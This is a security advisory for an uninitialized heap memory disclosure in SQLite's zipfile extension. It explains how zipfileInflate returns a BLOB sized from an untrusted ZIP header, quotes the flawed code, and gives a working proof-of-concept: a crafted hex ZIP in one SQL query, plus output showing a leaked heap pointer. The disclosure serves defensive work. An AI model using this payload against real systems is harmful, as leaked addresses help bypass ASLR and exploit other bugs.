A logic issue in SQLite's zipfile extension can return a BLOB whose tail contains uninitialized heap bytes, potentially disclosing sensitive data on heap.
- Product: SQLite (zipfile extension,
sqlite/ext/misc/zipfile.c) - Affected component/function:
zipfileInflate()used byzipfileColumn()(thedatacolumn path) - Affected Version:
- SQLite with zipfile extension <= 3.51.1
- References:
When the zipfile extension inflates (decompresses) ZIP file content, it allocates an output buffer using sqlite3_malloc(nOut) where nOut is derived from the untrusted ZIP Central Directory value szUncompressed. It then calls zlib inflate() to decompress into that buffer. However, the final BLOB size returned to SQLite is set to nOut (expected output size) rather than the actual number of bytes produced by inflate() (which can be computed from str.avail_out).
If a crafted ZIP file supplies a szUncompressed value that is larger than the actual decompressed output, the returned BLOB includes extra bytes from the tail of the heap buffer. Because the heap buffer is not initialized before inflation, this tail can contain uninitialized heap data, resulting in information disclosure (e.g., leaked heap pointers). Such leaks may assist in bypassing ASLR or in exploitation of other memory corruption vulnerabilities.
- Attacker must be able to cause SQLite to load and process an untrusted ZIP file input via the
zipfileextension (e.g., using thezipfile()virtual table/functionality). - The
zipfileextension is commonly enabled by default in the SQLite CLI but may not be enabled in all library builds unless compiled/loaded.
- Information disclosure: uninitialized heap bytes may be returned to the SQL layer as a BLOB.
- Practical impact depends on usage context; can leak memory addresses and other sensitive heap remnants.
- Uninitialized memory disclosure / returning uninitialized heap data
- CWE: CWE-908 (Use of Uninitialized Resource) or CWE-200 (Exposure of Sensitive Information)
- File:
sqlite/ext/misc/zipfile.c - Commit tested: 989e8933920fb0c66361b97519cb4fac7fdb4d6f
When zipfileInflate performs decompression, it allocates heap memory using sqlite3_malloc. The size of this allocation is determined by szUncompressed from the CDS of the provided ZIP file. Then it calls inflate to decompress the data. However, the final size of the output blob is set directly to szUncompressed. It does not calculate the actual size of the decompressed data using str.avail_out.
Since the input ZIP file is untrusted, the szUncompressed value might be larger than the actual size of the data after inflation. Because the allocated aRes heap memory is not initialized, this mismatch can result in the leakage of uncleaned sensitive data from the heap. For example, it could leak various memory addresses which might be used to bypass ASLR or assist in exploiting other memory corruption vulnerabilities.
/* sqlite/ext/misc/zipfile.c, commit 989e8933920fb0c66361b97519cb4fac7fdb4d6f */
985 | static void zipfileInflate(
986 | sqlite3_context *pCtx, /* Store result here */
987 | const u8 *aIn, /* Compressed data */
988 | int nIn, /* Size of buffer aIn[] in bytes */
989 | int nOut /* Expected output size */
990 | ){
991 | u8 *aRes = sqlite3_malloc(nOut);
992 | if( aRes==0 ){
993 | sqlite3_result_error_nomem(pCtx);
994 | }else{
995 | int err;
996 | z_stream str;
997 | memset(&str, 0, sizeof(str));
998 |
999 | str.next_in = (Byte*)aIn;
1000 | str.avail_in = nIn;
1001 | str.next_out = (Byte*)aRes;
1002 | str.avail_out = nOut;
1003 |
1004 | err = inflateInit2(&str, -15);
1005 | if( err!=Z_OK ){
1006 | zipfileCtxErrorMsg(pCtx, "inflateInit2() failed (%d)", err);
1007 | }else{
1008 | err = inflate(&str, Z_NO_FLUSH);
1009 | if( err!=Z_STREAM_END ){
1010 | zipfileCtxErrorMsg(pCtx, "inflate() failed (%d)", err);
1011 | }else{
/* ISSUE HERE:
The blob size is set to nOut (szUncompressed) regardless of how many bytes were actually inflated.
If nOut > actual_inflated_size, the tail of aRes contains uninitialized heap data.
*/
1012 | sqlite3_result_blob(pCtx, aRes, nOut, zipfileFree);
1013 | aRes = 0;
1014 | }
1015 | }
1016 | sqlite3_free(aRes);
1017 | inflateEnd(&str);
1018 | }
1019 | }
1076 | static int zipfileColumn(
1080 | ){
1081 | ZipfileCsr *pCsr = (ZipfileCsr*)cur;
1082 | ZipfileCDS *pCDS = &pCsr->pCurrent->cds;
1083 | int rc = SQLITE_OK;
1084 | switch( i ){
1105 | case 5: { /* data */
1106 | if( i==4 || pCDS->iCompression==0 || pCDS->iCompression==8 ){
1107 | int sz = pCDS->szCompressed;
1108 | int szFinal = pCDS->szUncompressed;
1109 | if( szFinal>0 ){
1128 | if( rc==SQLITE_OK ){
1129 | if( i==5 && pCDS->iCompression ){
1130 | zipfileInflate(ctx, aBuf, sz, szFinal);The following SQL demonstrates leakage of a heap pointer from the returned data BLOB when a crafted ZIP payload is processed. The test below was performed on commit 989e893:
SQLite version 3.52.0 2025-12-05 19:45:43
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select replace(hex(zeroblob(10000)), '00', x'1111111111111111');select hex(data) from zipfile(x'504b03041400000008002ea1865ba0f6a1c4060000001100000001001c00315554090003f71c3469e61c346975780b000104e803000004e80300004b4c44055c00504b01021e031400000008002ea1865ba0f6a1c40600000000080000010018000000000001000000b48100000000315554050003f71c346975780b000104e803000004e8030000504b0506000000000100010047000000410000000000');
┌──────────────────────────────────────────────────────────────────────────────────┐
│ replace(hex(zeroblob(10000)), '00', x'1111111111111111') │
├──────────────────────────────────────────────────────────────────────────────────┤
│unistr('\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u00... │
└──────────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────────┐
│ hex(data) │
├──────────────────────────────────────────────────────────────────────────────────┤
│'616161616161616161616161616161610A072FBFE9550000111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│111111111111111111111111111111111111111111111111111111... │
└──────────────────────────────────────────────────────────────────────────────────┘
sqlite>
pwndbg> vmmap 0x000055e9bf2f070a
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x55e9a3bba000 0x55e9a3bbb000 rw-p 1000 0 [anon_55e9a3bba]
► 0x55e9bf271000 0x55e9bf303000 rw-p 92000 0 [heap] +0x7f70a
0x7fafbae65000 0x7fafbb14e000 r--p 2e9000 0 /usr/lib/locale/locale-archive- Reported: 2025-12-06
- Fixed version released: 2026-01-09
- Reported by: cnwangjihe